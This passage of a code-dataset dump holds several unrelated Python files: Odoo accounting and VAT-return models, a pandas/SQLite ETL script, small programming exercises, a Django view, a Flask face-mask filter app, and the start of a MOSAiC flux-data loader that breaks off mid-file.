tax._compute_amount(base, price_unit, quantity, product, partner)\n            tax_amount = round(tax_amount, prec)\n\n            if tax.price_include:\n                total_excluded -= tax_amount\n                base -= tax_amount\n            else:\n                total_included += tax_amount\n\n            if tax.include_base_amount:\n                base += tax_amount\n            \n            if partner:\n                tax_name = tax.with_context(lang=partner.lang).name\n            else:\n                tax_name = tax.name\n                \n            taxes.append({\n                'id': tax.id,\n                'name': tax_name,\n                'amount': tax_amount,\n                'sequence': tax.sequence,\n                'account_id': tax.account_id.id,\n                'tax_code_id': tax.tax_code_id.id,\n                'ref_tax_code_id': tax.ref_tax_code_id.id,\n                'refund_account_id': tax.refund_account_id.id,\n                'base_code_id': tax.base_code_id.id,\n                'ref_base_code_id': tax.ref_base_code_id.id,\n                'account_analytic_collected_id': tax.account_analytic_collected_id.id,\n                'account_analytic_paid_id': tax.account_analytic_paid_id.id,\n                'base_sign': tax.base_sign,\n                'tax_sign': tax.tax_sign,\n                'ref_base_sign': tax.ref_base_sign,\n                'ref_tax_sign': tax.ref_tax_sign,\n                'price_unit': price_unit,\n                'tax_on_payment': tax.tax_on_payment,\n                'account_payment_id': tax.account_payment_id.id,\n                'refund_account_payment_id': tax.refund_account_payment_id.id,\n            })\n        \n        return {\n            'taxes': sorted(taxes, key=lambda k: k['sequence']),\n            'total_excluded': total_excluded,\n            'total_included': total_included\n        }\n    \n    \n    @api.multi\n    def unlink(self):\n        \"\"\"\n            On empêche la suppression de la taxe si elle est utilisée dans un produit\n        \"\"\"\n        product_obj = self.env['product.product']\n        for tax in self:\n            tax_rel_rs = product_obj.search(['|', ('purchase_taxes_ids', 'in', tax.id), ('sale_taxes_ids', 'in', tax.id)], limit=1)\n            if tax_rel_rs:\n                raise except_orm(_('Error'), _('The tax %s is used in a product. Please delete the tax reference in '\n                                               'the product before delete it')%(tax.name))\n        \n        return super(account_tax, self).unlink()\n\n\n\n   \n    \nclass account_vat_return_template(models.Model):\n    \"\"\" \n    Account VAT return template\n    \"\"\"\n    _name = 'account.vat.return.template'\n    _description = 'Account VAT return template'\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    name = fields.Char(size=64, required=True)\n    debit_vat_account_ids = fields.Many2many('account.account', 'vat_return_debit_account_rel', 'vat_return_id', 'account_id', string='Debit VAT accounts', copy=True, domain=[('type', 'not in', ('view', 'closed', 'consolidation'))])\n    credit_vat_account_ids = fields.Many2many('account.account', 'vat_return_credit_account_rel', 'vat_return_id', 'account_id', string='Credit VAT accounts', copy=True, domain=[('type', 'not in', ('view', 'closed', 'consolidation'))])\n    waiting_vat_account_ids = fields.Many2many('account.account', 'vat_return_waiting_account_rel', 'vat_return_id', 'account_id', string='Waiting VAT accounts', copy=True, domain=[('type', 'not in', ('view', 'closed', 'consolidation'))])\n    sale_account_ids = fields.Many2many('account.account', 'vat_return_sale_account_rel', 'vat_return_id', 'account_id', string='Sale accounts', copy=True, domain=[('type', 'not in', ('view', 'closed', 'consolidation'))])\n    purchase_account_ids = fields.Many2many('account.account', 'vat_return_purchase_account_rel', 'vat_return_id', 'account_id', string='Purchase accounts', copy=True, domain=[('type', 'not in', ('view', 'closed', 'consolidation'))])\n    \n    \n    \nclass account_vat_return(models.Model):\n    \"\"\" \n    Account VAT return\n    \"\"\"\n    _name = 'account.vat.return'\n    _description = 'Account VAT return'\n    \n    @api.model\n    def _state_get(self):\n        return [\n                ('draft', 'Draft'),\n                ('progress', 'Progress'),\n                ('done', 'Done'),\n                ('cancel', 'Cancel'),\n                       ]\n        \n        \n    @api.model\n    def _default_period_id(self):\n        return self.env['account.period'].find(fields.Date.today())\n    \n    \n    def _get_states(self):\n        return {\n            'draft': [('readonly', False)], \n            'progress': [('readonly', True)], \n            'done': [('readonly', True)], \n            'cancel': [('readonly', True)], \n                }\n\n    \n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    name = fields.Char(size=64, required=True, states=_get_states)\n    template_id = fields.Many2one('account.vat.return.template', string='Return template', required=True, ondelete='restrict', states=_get_states)\n    partner_id = fields.Many2one('res.partner', string='Partner', required=True, ondelete='restrict', states=_get_states)\n    start_date = fields.Date(states=_get_states)\n    end_date = fields.Date(states=_get_states)\n    credit = fields.Float(default=0.0, required=False)\n    debit = fields.Float(default=0.0, required=False)\n    debit_vat_account_ids = fields.One2many('account.vat.return.line', 'vat_return_id', string='Debit VAT accounts', domain=[('line_type', '=', 'debit')])\n    credit_vat_account_ids = fields.One2many('account.vat.return.line', 'vat_return_id', string='Credit VAT accounts', domain=[('line_type', '=', 'credit')])\n    waiting_vat_account_ids = fields.One2many('account.vat.return.line', 'vat_return_id', string='VAT waiting', domain=[('line_type', '=', 'vat_waiting')])\n    sale_account_ids = fields.One2many('account.vat.return.line', 'vat_return_id', string='Sale accounts', domain=[('line_type', '=', 'sale')])\n    purchase_account_ids = fields.One2many('account.vat.return.line', 'vat_return_id', string='Purchase accounts', domain=[('line_type', '=', 'purchase')])\n    period_id = fields.Many2one('account.period', 'Period', required=True, readonly=False, default=_default_period_id, states=_get_states)\n    validation_journal_id = fields.Many2one('account.journal', 'Journal', required=True, readonly=False, domain=[('type', '=', 'general')], states=_get_states)\n    payment_journal_id = fields.Many2one('account.journal', 'Journal', required=True, readonly=False, domain=[('type', 'in', ('bank', 'cash'))], states=_get_states)\n    company_id = fields.Many2one('res.company', string='Company', required=True, ondelete='restrict', default=lambda self: self.env.user.company_id, states=_get_states)\n    validation_move_id = fields.Many2one('account.move', string='Validation account move', required=False, ondelete='set null', copy=False)\n    validation_date = fields.Date(copy=False)\n    payment_move_id = fields.Many2one('account.move', string='Payment account move', required=False, ondelete='set null', copy=False)\n    payment_date = fields.Date(copy=False)\n    payment_amount = fields.Float(string='Amount', default=0.0, required=False, copy=False)\n    theorical_amount = fields.Float(default=0.0, required=False, readonly=True)\n    state = fields.Selection('_state_get', default='draft')\n    payment_id = fields.Many2one('account.voucher', string='Payment', required=False, ondelete='restrict')\n    draft_purchase_amount = fields.Float(string='Draft purchase invoice amount', default=0.0, required=False, copy=False, readonly=True)\n    draft_sale_amount = fields.Float(string='Draft sale invoice amount', default=0.0, required=False, copy=False, readonly=True)\n    \n    \n    def get_amount(self, account_rs, amount_type):\n        move_line_obj = self.env['account.move.line']\n        args = [('account_id', '=', account_rs.id), ('move_id.state', '=', 'posted'), ('journal_id.type', '!=', 'situation'), ('reconcile_id', '=', False)]\n        if self.start_date:\n            args.append(('date', '>=', self.start_date))\n            \n        if self.end_date:\n            args.append(('date', '<=', self.end_date))\n        \n        move_line_datas = move_line_obj.search_group(fields=['debit', 'credit'],\n                                                     groupby=['account_id'],\n                                                     args=args,\n                                                     sum=['debit', 'credit'],\n                                                     return_dict=True,\n                                                     without_order=True)\n        move_line_ids = move_line_obj.search(args)\n        res = 0.0\n        if move_line_datas:\n            for move_line_data in move_line_datas:\n                if amount_type == 1:\n                    res += move_line_data['debit'] - move_line_data['credit']\n                else:\n                    res += move_line_data['credit'] - move_line_data['debit']\n        \n        return (res, move_line_ids.ids)\n        \n    \n    @api.multi\n    def compute(self):\n        inv_obj = self.env['account.invoice']\n        move_obj = self.env['account.move.line']\n        self.env['account.vat.return.line'].search([('vat_return_id', 'in', self.ids)]).unlink()\n        fields_to_process =  [('debit_vat_account_ids', 'debit', 1),\n                              ('credit_vat_account_ids', 'credit', 2),\n                              ('sale_account_ids', 'sale', 2),\n                              ('purchase_account_ids', 'purchase', 1)]\n        line_obj = self.env['account.vat.return.line']\n        for vat_return in self:\n            debit = 0.0\n            credit = 0.0\n            theorical_amount = 0.0\n            account_ids = []\n            for field, line_type, amount_type in fields_to_process:\n                for account_rs in vat_return.template_id[field]:\n                    account_ids.append(account_rs.id)\n                    amount, line_ids = vat_return.get_amount(account_rs, amount_type)\n                    if amount_type == 1:\n                        debit += amount\n                        if line_type == 'debit':\n                            theorical_amount -= amount\n                    else:\n                        credit += amount\n                        if line_type == 'credit':\n                            theorical_amount += amount\n                        \n                    line_obj.create({'vat_return_id': vat_return.id,\n                                     'amount': amount,\n                                     'line_type': line_type,\n                                     'account_id': account_rs.id,\n                                     'move_line_ids': [(6, 0, line_ids)]})\n            \n            if len(account_ids) != len(list(set(account_ids))):\n                raise ValidationError(_('Impossible to have twice the same account'))\n            \n            args = []\n            if self.start_date:\n                args.append(('date_invoice', '>=', self.start_date))\n                \n            if self.end_date:\n                args.append(('date_invoice', '<=', self.end_date))   \n            \n            draft_args = args + [('state', '=', 'draft')]\n            out_invoice_sum = inv_obj.search_group(fields=['amount_total'], \n                                                   groupby=[], \n                                                   args=draft_args + [('type', '=', 'out_invoice')],\n                                                   sum='amount_total',\n                                                   return_dict=True,\n                                                   without_order=True)\n            in_invoice_sum = inv_obj.search_group(fields=['amount_total'], \n                                                   groupby=[], \n                                                   args=draft_args + [('type', '=', 'in_invoice')],\n                                                   sum='amount_total',\n                                                   return_dict=True,\n                                                   without_order=True)\n            \n            tax_account_rs = vat_return.template_id.waiting_vat_account_ids\n            tax_account_ids = tax_account_rs.ids\n            account_line_dict = {}\n            for waiting_vat_account_rs in tax_account_rs:\n                account_line_dict[waiting_vat_account_rs.id] = {'vat_return_id': vat_return.id,\n                                                                'amount': 0.0,\n                                                                'line_type': 'vat_waiting',\n                                                                'account_id': waiting_vat_account_rs.id,\n                                                                'move_line_ids': [(6, 0, [])]}\n            for inv_rs in inv_obj.search(args + [('state', 'not in', ('draft', 'cancel'))]):\n                if inv_rs.move_id:\n                    factor = (inv_rs.amount_total - inv_rs.residual) / inv_rs.amount_total\n                    for move_line_rs in inv_rs.move_id.line_id:\n                        if move_line_rs.account_id.id in tax_account_ids:\n                            amount = move_line_rs.credit or move_line_rs.debit\n                            account_line_dict[move_line_rs.account_id.id]['amount'] += amount - ((move_line_rs.credit or move_line_rs.debit) * factor)\n                            account_line_dict[move_line_rs.account_id.id]['move_line_ids'][0][-1].append(move_line_rs.id)        \n#             \n# #             inv_rs = inv_obj.search(args + [('state', 'not in', ('draft', 'cancel'))])\n# #                 inv_dict = {x.id: x for x in inv_rs}\n#             inv_move_dict = {}\n#             for move_rs in move_obj.search([('reconcile_partial_id', '!=', False)]):\n#                 if move_rs.reconcile_partial_id:\n#                     if move_rs.invoice in inv_move_dict:\n#                         inv_move_dict[move_rs.reconcile_partial_id] += move_rs.credit - move_rs.debit \n#                     else:\n#                         inv_move_dict[move_rs.reconcile_partial_id] = move_rs.credit - move_rs.debit\n#             \n#             from pprint import pprint\n#             pprint(inv_move_dict)\n#             for invoice_rs, move_amount in inv_move_dict.iteritems():\n#                 if invoice_rs.amount_total and move_amount:\n#                     invoice_factor = move_amount / invoice_rs.amount_total\n#                     for move_rs in invoice_rs.move_id.line_id:\n#                         if move_rs.account_id.id in tax_account_ids:\n#                             account_line_dict[move_rs.account_id.id]['amount'] += (move_rs.credit or move_rs.debit) * invoice_factor\n#                             account_line_dict[move_rs.account_id.id]['move_line_ids'][0][-1].append(move_rs.id)\n            \n            for line_datas in account_line_dict.values():\n                line_obj.create(line_datas)\n                \n            vat_return.write({'debit': debit, \n                              'credit': credit, \n                              'theorical_amount': theorical_amount, \n                              'draft_purchase_amount': in_invoice_sum and in_invoice_sum[0]['amount_total'] or 0.0, \n                              'draft_sale_amount': out_invoice_sum and out_invoice_sum[0]['amount_total'] or 0.0})\n\n            \n    @api.multi\n    def cancel_validation(self):\n        move_line_obj = self.env['account.move.line']\n        for vat_return_rs in self:\n            if vat_return_rs.validation_move_id:\n                move_line_to_unreconcile = self.env['account.move.line']\n                for move_line in vat_return_rs.validation_move_id.line_id:\n                    if move_line and move_line not in move_line_to_unreconcile:\n                        move_line_to_unreconcile |= move_line_obj.search([('reconcile_id', '=', move_line.reconcile_id.id)])\n                \n                if move_line_to_unreconcile:\n                    move_line_to_unreconcile._remove_move_reconcile(move_ids=move_line_to_unreconcile.ids)\n                            \n                vat_return_rs.validation_move_id.button_cancel()\n                vat_return_rs.validation_move_id.unlink()\n                 \n        self.write({'state': 'draft', 'validation_date': False, 'validation_move_id': False})\n            \n            \n    @api.multi\n    def validate(self):\n        today = fields.Date.today()\n        move_obj = self.env['account.move']\n        invoice_obj = self.env['account.invoice']\n        line_obj = self.env['account.vat.return.line']\n        for vat_return_rs in self:\n            res = []\n            total_amount = 0.0\n            to_reconcile_dict = {}\n            for line_rs in line_obj.search([('vat_return_id', '=', vat_return_rs.id), ('line_type', 'in', ('debit', 'credit'))]):\n                if line_rs.account_id.reconcile:\n                    if line_rs.account_id.id in to_reconcile_dict:\n                        to_reconcile_dict[line_rs.account_id.id] |= line_rs.move_line_ids\n                    else:\n                        to_reconcile_dict[line_rs.account_id.id] = line_rs.move_line_ids\n                    \n                if line_rs.line_type == 'credit':\n                    factor = 1\n                else:\n                    factor = -1\n                    \n                if line_rs.amount:\n                    amount = (-line_rs.amount or 0.0) * factor\n                    res.append({\n                        'type': 'tax',\n                        'name': vat_return_rs.name,\n                        'price_unit': amount,\n                        'quantity': 1,\n                        'price': -amount,\n                        'account_id': line_rs.account_id.id})\n                    total_amount += amount\n                \n            if res:\n                res.append({\n                    'type': 'tax',\n                    'name': vat_return_rs.name,\n                    'price_unit': total_amount,\n                    'quantity': 1,\n                    'price': total_amount,\n                    'account_id': vat_return_rs.partner_id.property_account_payable_id.id})\n                date_invoice = today\n                ctx = dict(self._context, lang=vat_return_rs.partner_id.lang)\n                ctx['date'] = date_invoice\n                line = [(0, 0, invoice_obj.line_get_convert(l, vat_return_rs.partner_id.id, date_invoice)) for l in res]\n                move_vals = {\n                    'line_id': line,\n                    'journal_id': vat_return_rs.validation_journal_id.id,\n                    'date': today,\n                    'company_id': vat_return_rs.company_id.id,\n                    'period_id': vat_return_rs.period_id.id}\n                move_rs = move_obj.create(move_vals)\n                if move_rs:\n                    vat_return_rs.with_context(ctx).write({'validation_move_id': move_rs.id, 'validation_date': today, 'state': 'progress'})\n                    move_rs.post()\n                    for move_line_rs in move_rs.line_id:\n                        if move_line_rs.account_id.id != vat_return_rs.partner_id.property_account_payable_id.id and \\\n                           move_line_rs.account_id.reconcile:\n                            if move_line_rs.account_id.id in to_reconcile_dict:\n                                to_reconcile_dict[move_line_rs.account_id.id] |= move_line_rs\n                            else:\n                                to_reconcile_dict[move_line_rs.account_id.id] = move_line_rs\n\n                    for move_line_to_reconcile_rs in to_reconcile_dict.values():\n                        if move_line_to_reconcile_rs:\n                            move_line_to_reconcile_rs.reconcile()\n                \n        return True\n        \n            \n    @api.multi\n    def cancel_payment(self):\n        for vat_return_rs in self:\n            if vat_return_rs.payment_id:\n                payment_id = vat_return_rs.payment_id\n                vat_return_rs.write({'state': 'progress', 'payment_date': False, 'payment_move_id': False, 'payment_id': False})\n                ctx = self.env.context.copy()\n                ctx.update({'vat_payement_cancel': True})\n                payment_id.with_context(ctx).cancel_voucher()\n                payment_id.unlink()\n            \n        \n    @api.multi\n    def payment(self):\n        payment_obj = self.env['account.voucher']\n        move_obj = self.env['account.move']\n        for vat_return_rs in self:\n            payment_rs = payment_obj.create({'partner_id': vat_return_rs.partner_id.id,\n                                             'amount': vat_return_rs.payment_amount,\n                                             'period_id': vat_return_rs.period_id.id,\n                                             'journal_id': vat_return_rs.payment_journal_id.id,\n                                             'type': 'payment',\n                                             'account_id': vat_return_rs.payment_journal_id.default_credit_account_id.id,\n                                             'date': fields.Date.today()})\n            if payment_rs:\n                payment_rs.signal_workflow('proforma_voucher')\n                vals = {'payment_date': fields.Date.today(), 'state': 'done', 'payment_id': payment_rs.id}\n                move_rs = move_obj.search([('voucher_id', '=', payment_rs.id)], limit=1)\n                if move_rs:\n                    vals['payment_move_id'] = move_rs.id\n                    \n                vat_return_rs.write(vals)\n            \n        \n\nclass account_vat_return_line(models.Model):\n    \"\"\" \n    Account VAT return line\n    \"\"\"\n    _name = 'account.vat.return.line'\n    _description = 'Account VAT return line'\n\n    \n    @api.model\n    def _line_type_get(self):\n        return [\n            ('debit', 'Debit'),\n            ('credit', 'Credit'),\n            ('sale', 'Sale'),\n            ('purchase', 'Purchase'),\n            ('vat_waiting', 'VAT waiting'),\n               ]\n    \n\n    #===========================================================================\n    # COLUMNS\n    #===========================================================================\n    vat_return_id = fields.Many2one('account.vat.return', string='VAT return', required=True, ondelete='cascade')\n    account_id = fields.Many2one('account.account', string='Account', domain=[])\n    amount = fields.Float(default=0.0, required=False)\n    line_type = fields.Selection('_line_type_get', string='Type')\n    move_line_ids = fields.Many2many('account.move.line', 'vat_return_line_move_line_rel', 'vat_return_line_id', 'move_line_id', string='Move lines')\n\n    \n\n\nclass account_account(models.Model):\n    _inherit = 'account.account'\n    \n    \n    def method_see_entries(self, domain=False):\n        \"\"\"\n            Fonction qui retourne les écritures comptables liées à un compte. \n            On peut forcer le domaine avec le paramètre domain\n        \"\"\"\n        action_struc = {}\n        action_dict = get_form_view(self, 'account.action_account_moves_all_a')\n        account_id = self.id\n        if action_dict and action_dict.get('id') and action_dict.get('type'):\n            action = self.env[action_dict['type']].browse(action_dict['id'])\n            action_struc = action.read()\n            action_struc[0]['domain'] = [('journal_id.type', '!=', 'situation'), ('account_id', '=', account_id)]\n            if domain and isinstance(domain, list):\n                action_struc[0]['domain'].extend(domain)\n                \n            action_struc = action_struc[0]\n              \n        return action_struc\n    \n    \n    @api.multi\n    def see_entries(self):\n        \"\"\"\n            Vue des écritures du compte\n        \"\"\"\n        return self.method_see_entries(False)\n    \n    \n    @api.multi\n    def see_unreconcile_entries(self):\n        \"\"\"\n            Vue des écritures non lettrées du compte\n        \"\"\"\n        action_struc = True\n        if self.reconcile:\n            action_struc = self.method_see_entries(domain=[('reconcile_id', '=', False)])\n            \n        return action_struc\n    \n    ","repo_name":"kazacube-mziouadi/ceci","sub_path":"OpenPROD/openprod-addons/account_openprod/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":82236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33281601215","text":"import sqlite3\nimport pandas as pd\nfrom abc import ABC, abstractmethod\n\n\nclass AbstractTask(ABC):\n\n    @abstractmethod\n    def execute(self, **kwargs) -> pd.DataFrame:\n        pass\n\n\nclass Excel(AbstractTask):\n    def __init__(self, file: str):\n        self.__file = file\n\n    def execute(self, **kwargs) -> pd.DataFrame:\n        df = pd.read_excel(io=self.__file, header=[0, 1, 2])\n        f1 = pd.DataFrame(df[['id', 'company']])\n        f1.columns = ['id', 'company']\n        f2 = pd.DataFrame(df[['fact', 'forecast']])\n        f2 = f2.T\n        f2.columns = f1\n        f2 = f2.stack()\n        f3 = f2.index.to_frame(index=False)\n        col = list(zip(*f3[3].values))\n        f3 = pd.DataFrame(f3.drop(columns=[3]))\n        f3.columns = ['type', 'q', 'data']\n        f3['id'] = col[0]\n        f3['company'] = col[1]\n        f3['value'] = f2.values\n        return f3\n\n\nclass AddDate(AbstractTask):\n    def __init__(self, f: pd.DataFrame, dt: str):\n        self.__f = f\n        self.__dt = dt\n\n    def execute(self, **kwargs) -> pd.DataFrame:\n        f = self.__f\n        f['dt'] = pd.date_range(start=self.__dt, periods=self.__f.shape[0], freq='D')\n        return f\n\n\nclass Sqlite3(AbstractTask):\n    def connect(self):\n        return sqlite3.connect('ursib.db')\n\n    def execute(self, **kwargs) -> pd.DataFrame:\n        with self.connect() as conn:\n            cur = conn.cursor()\n            res = cur.execute(kwargs.get('query'))\n            return pd.DataFrame(res.fetchall())\n\n\nclass Sqlite3Many(Sqlite3):\n\n    def execute(self, **kwargs) -> pd.DataFrame:\n        with self.connect() as conn:\n            cur = conn.cursor()\n            res = cur.executemany(kwargs.get('query'), kwargs.get('params'))\n            return pd.DataFrame(res.fetchall())\n\n\nexcel = Excel('data.xlsx')\ndata = excel.execute()\nadd_date = AddDate(data, '2023-01-01')\ndata = add_date.execute()\n# print(data)\n\nsql = Sqlite3()\nsql_m = Sqlite3Many()\n\nq1 = '''\n    create table if not exists my_table (\n        type text, \n        q text, \n        data text, \n        id integer, \n        company text, \n        value integer, \n        date date,\n        primary key (type, q, data, id, company)\n    )'''\nsql.execute(query=q1)\nsql.execute(query='delete from my_table')\n\nq2 = 'insert into my_table (type, q, data, id, company, value, date) values (?, ?, ?, ?, ?, ?, ?)'\nparams = [tuple(v.strftime('%Y-%m-%d') if isinstance(v, pd.Timestamp) else v for k, v in x.items()) for x in data.to_dict('records')]\nsql_m.execute(query=q2, params=params)\n\nd3 = sql.execute(query='select q, sum(value) value from my_table group by q')\nprint(20*'=')\nprint(d3)\n","repo_name":"tpa2111/ursib","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72070907344","text":"def multiplicar(*tudo):  # tudo é um nome qualquer para o argumento que vai receber n parametros\n    total = 1\n    for numbers in tudo:\n        total *= numbers\n    return (total)\n\n\nresultado = multiplicar(2, 7, 1, 2, 3, 4,)\nprint(\"\\n\\t\", resultado)\n\n\ndef par_impar(i):\n    return (i % 2)\n\n\nresultado_par_impar = par_impar(resultado)\nif resultado_par_impar == 0:\n    print(\"\\n\\tpar\\n\")\nelse:\n    print(\"\\n\\timpar\\n\")\n","repo_name":"GenilsonDC/Academico","sub_path":"Udemy/Python/Desafios/funcao_multiplica.py","file_name":"funcao_multiplica.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11680408863","text":"import commands\nimport random as rng\n\ndef make_test():\n    f = open(\"test.txt\", \"w\")\n    n = rng.randint(1, 1000)\n    k = rng.randint(1, 10000000000)\n    f.write(\"%d %d\\n\" % (n, k));\n    a = [rng.randint(1,100) for i in range(n)]\n    f.write(\" \".join(map(str, a)) + \"\\n\")\n    f.write(\" \".join([str(rng.randint(int(1),10)) for i in range(n)]) + \"\\n\")\n\nn = 100000\nk = 2000000000\nprint(\"%d %d\" % (n, k))\nfor i in range(n):\n    print(1)\n\n\"\"\"\nwhile True:\n    make_test()\n    res1 = commands.getoutput('./Hack.out < ./test.txt')\n    res2 = commands.getoutput('./a.out < ./test.txt')\n    print(res1, res2)\n    if res1 != res2:\n        break;\n\"\"\"\n","repo_name":"odanado/Procon","sub_path":"Codeforces/Round0350/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18906800735","text":"def arithmSeq(a1, d, n):\n    return a1 + d * (n - 1)\n\ndef isEven(num):\n    return num % 2 == 0\n\nprint(\"Prvních n-členů aritmetické posloupnosti\")\nfirstMember = float(input(\"První člen posloupnosti: \"))\ndifference = float(input(\"Přírůstek: \"))\nnumOfMembers = int(input(\"Počet členů: \"))\n\ni = 1\nwhile i <= numOfMembers:\n    print(f\"a[{i}]=\", arithmSeq(firstMember, difference, i), end=\", \")\n    i += 1\nelse:\n    print(\"END\")\n\nprint(\"Sudá čísla od 1 do n\")\nn = int(input(\"Zadej n: \"))\ni = 1\nwhile i <= n:\n    if isEven(i):\n        print(i, end=\" \")\n    i += 1\n    ","repo_name":"kozakpetr1/py3","sub_path":"examples/8_1_Loops_while.py","file_name":"8_1_Loops_while.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"cs","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"4886655232","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render, redirect\nfrom time import localtime, strftime\ndef index(request):\n    if not 'words' in request.session:\n        request.session['words'] = []\n    return render(request,'word_session/index.html')\ndef process(request):\n    if request.method == \"POST\":\n        className = \"\"\n        if request.POST['color'] == 'red' and not 'bigfonts' in request.POST:\n            className = \"red\"\n        elif request.POST['color'] == 'red' and 'bigfonts' in request.POST:\n            className = \"redBig\"\n        elif request.POST['color'] == 'green' and not 'bigfonts' in request.POST:\n            className = \"green\"\n        elif request.POST['color'] == 'green' and 'bigfonts' in request.POST:\n            className = \"greenBig\"\n        elif request.POST['color'] == 'blue' and not 'bigfonts' in request.POST:\n            className = \"blue\"\n        elif request.POST['color'] == 'blue' and 'bigfonts' in request.POST:\n            className = \"blueBig\"     \n        word_holder = [request.POST['word'], strftime(\"%I:%M:%S %p, %B %d %Y\", localtime()), className]\n        message_log=request.session['words']\n        message_log.append(word_holder)\n        request.session['words'] = message_log\n    return redirect('/')\ndef reset(request):\n    request.session.flush()\n    return redirect('/')\n","repo_name":"AbeForty/Dojo-Assignments","sub_path":"Python/Django/test/words/apps/word_session/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3831903397","text":"from flask import Flask, render_template, url_for, request, redirect\nfrom filter import apply_mask\n\nimport cv2\nimport numpy as np\nimport base64\nimport random\n\nfrom db import Client\n\napp = Flask(__name__)\n\nclient = Client()\n\n@app.route('/')\ndef index():\n    # if request.method == 'POST':\n    #     videoCapture()\n    #     return redirect('/')\n    # else:\n    #     render_template('index.html')\n\n    return render_template('index.html')\n\n@app.route('/upload', methods=['POST'])\ndef upload_file():\n    file = request.files['image']\n\n    # Save file\n    #filename = 'static/' + file.filename\n    #file.save(filename)\n\n    # Read image\n    image = cv2.imdecode(np.frombuffer(file.read(), np.uint8), cv2.IMREAD_COLOR)\n    # print(image.shape)\n    \n    # load mask\n    mask = cv2.imread('assets/snapchat_dog.png')\n    \n    # initialize front face classifier\n    cascade = cv2.CascadeClassifier(\"assets/haarcascade_frontalface_default.xml\")\n   \n    # Get image shape\n    image_h, image_w, _ = image.shape\n\n    # Convert to black-and-white, and add contrast\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    blackwhite = cv2.equalizeHist(gray)\n\n    # Detect faces\n    rects = cascade.detectMultiScale(\n        blackwhite, scaleFactor=1.3, minNeighbors=4, minSize=(30, 30),\n        flags=cv2.CASCADE_SCALE_IMAGE)\n\n    # Add all bounding boxes to the image\n    for x, y, w, h in rects:\n        # crop a frame slightly larger than the face\n        y0, y1 = int(y - 0.20*h), int(y + 0.80*h)\n        x0, x1 = x, x + w\n\n        # give up if the cropped frame would be out-of-bounds\n        if x0 < 0 or y0 < 0 or x1 > image_w or y1 > image_h:\n            continue\n\n        # apply mask\n        image[y0: y1, x0: x1] = apply_mask(image[y0: y1, x0: x1], mask)\n\n    # Save\n    #cv2.imwrite(filename, image)\n        \n    # In memory\n    image_content = cv2.imencode('.jpg', image)[1].tostring()\n    encoded_image = base64.encodebytes(image_content)\n    to_send = 'data:image/jpg;base64, ' + str(encoded_image, 'utf-8')\n\n    if len(rects) == 0:\n        face_detected = False\n    else:\n        if client.getSize() == 0:\n            counter = 0\n        else:\n            counter = client.getHighestCount() + 1\n        face_detected = True\n        client.insertImage(counter, encoded_image)\n        counter += 1\n\n\n    return render_template('index.html', image_to_show=to_send, face_detected=face_detected, init_upload=True)\n\n@app.route('/mostwanted')\ndef show_most_wanted():\n    size = client.getSize()\n    if (size == 0):\n        has_data = False\n        wanted_image = None\n    \n    else:\n        has_data = True\n        rand = random.randint(0, size - 1)\n        image_str = client.retrieveImage(rand)\n\n        encoded_image = base64.encodebytes(image_str)\n        wanted_image = 'data:image/jpg;base64, ' + str(encoded_image, 'utf-8')\n\n    return render_template('index.html', wanted_image=wanted_image, has_data=has_data, init_mostwanted=True)\n\nif __name__ == '__main__':\n    app.run(debug=True)","repo_name":"deeyeow/woofpatrol","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"35087411662","text":"#!/usr/bin/python3\n# ############################################################################################\n# AUTHOR: Michael Gallagher (CIRES/NOAA)\n# EMAIL:  michael.r.gallagher@noaa.gov\n# \n# PURPOSE:\n#\n# A quick example on pulling in ATMOS flux team data for analysis\n# \n# ############################################################################################\nfrom   datetime import datetime, timedelta\nimport os, inspect, argparse\n\nimport numpy  as np\nimport pandas as pd\nimport xarray as xr\nimport netCDF4 \n\nstation = 'asfs30'\nsite = 'L2'\ndata_dir = './processed_data/level2/{}/'.format(station) # point this program to your data\nhead_str = 'level2_preliminary_1min_{}.{}.'.format(station,site)        # plot 10min data\ntail_str = '.nc'           # leading data file string \n\nparser = argparse.ArgumentParser()                                \nparser.add_argument('-s', '--start_time', metavar='str',   help='beginning of processing period, Ymd syntax')\nparser.add_argument('-e', '--end_time',   metavar='str',   help='end  of processing period, Ymd syntax')\n\n# start at first day of available data if a start isn't provided, end at the end of leg 2\nargs         = parser.parse_args()                                        \nstart_time = datetime(2020,2,28,0,0) # the first day of MOSAiC tower data\n#start_time = datetime(2019,10,15,0,0) # the first day of MOSAiC tower data\n\nif args.start_time:\n    start_time = datetime.strptime(args.start_time, '%Y%m%d') \n\nif args.end_time:\n    end_time = datetime.strptime(args.end_time, '%Y%m%d')   \nelse: \n    end_time = datetime(2020,3,1,0,0) # end of leg 2 \n\nprint('---------------------------------------------------------------------------------------')\nprint('')\nprint('Looking at data days between {} -----> {}'.format(start_time,end_time))\nprint('')\nprint('---------------------------------------------------------------------------------------')\n\n# ###############################################################################################\n# pull in the data from every daily file in the time range asked for and concatenate it into \n# a single data frame. this means you can look at data across the full range without array syntax\n# ###############################################################################################\nprint(' ... pulling in data from the following files:')\nday_series = pd.date_range(start_time, end_time) # we're going to get data for these days between start->end\nfile_list  = [] \nfor today in day_series: # loop over the days in the processing range and get a list of files\n    date_str  = today.strftime('%Y%m%d') # get date string for file name\n    curr_file = data_dir+head_str+'{}'.format(date_str)+tail_str # name of file from today\n    if os.path.isfile(curr_file): \n    